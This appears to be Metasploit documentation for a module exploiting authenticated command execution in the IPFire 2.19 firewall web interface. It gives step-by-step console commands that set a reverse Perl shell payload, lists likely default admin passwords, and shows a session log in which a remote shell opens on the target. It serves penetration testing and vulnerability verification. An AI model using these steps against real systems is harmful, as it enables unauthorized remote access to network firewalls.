## Vulnerable Application
2+
3+
Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso)
4+
5+
This module has been verified against:
6+
7+
1. 2.19 core 100
8+
2. 2.19 core 110 (exploit-db, not metasploit module)
9+
10+
## Verification Steps
11+
12+
1. Install the firewall
13+
2. Start msfconsole
14+
3. Do: ```use exploit/linux/http/ipfire_oinkcode_exec```
15+
4. Do: ```set password admin``` or whatever it was set to at install
16+
5. Do: ```set rhost 10.10.10.10```
17+
6. Do: ```set payload cmd/unix/reverse_perl```
18+
7. Do: ```set lhost 192.168.2.229```
19+
8. Do: ```exploit```
20+
9. You should get a shell.
21+
22+
## Options
23+
24+
**PASSWORD**
25+
26+
Password is set at install. May be blank, 'admin', or 'ipfire'.
27+
28+
## Scenarios
29+
30+
```
31+
msf > use exploit/linux/http/ipfire_oinkcode_exec
32+
msf exploit(ipfire_oinkcode_exec) > set password admin
33+
password => admin
34+
msf exploit(ipfire_oinkcode_exec) > set rhost 192.168.2.201
35+
rhost => 192.168.2.201
36+
msf exploit(ipfire_oinkcode_exec) > set verbose true
37+
verbose => true
38+
msf exploit(ipfire_oinkcode_exec) > check
39+
[*] 192.168.2.201:444 The target appears to be vulnerable.
40+
msf exploit(ipfire_oinkcode_exec) > exploit
41+
42+
[*] Started reverse TCP handler on 192.168.2.117:4444
43+
[*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.201:38412) at 2017-06-14 21:12:21 -0400
44+
id
45+
uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid)
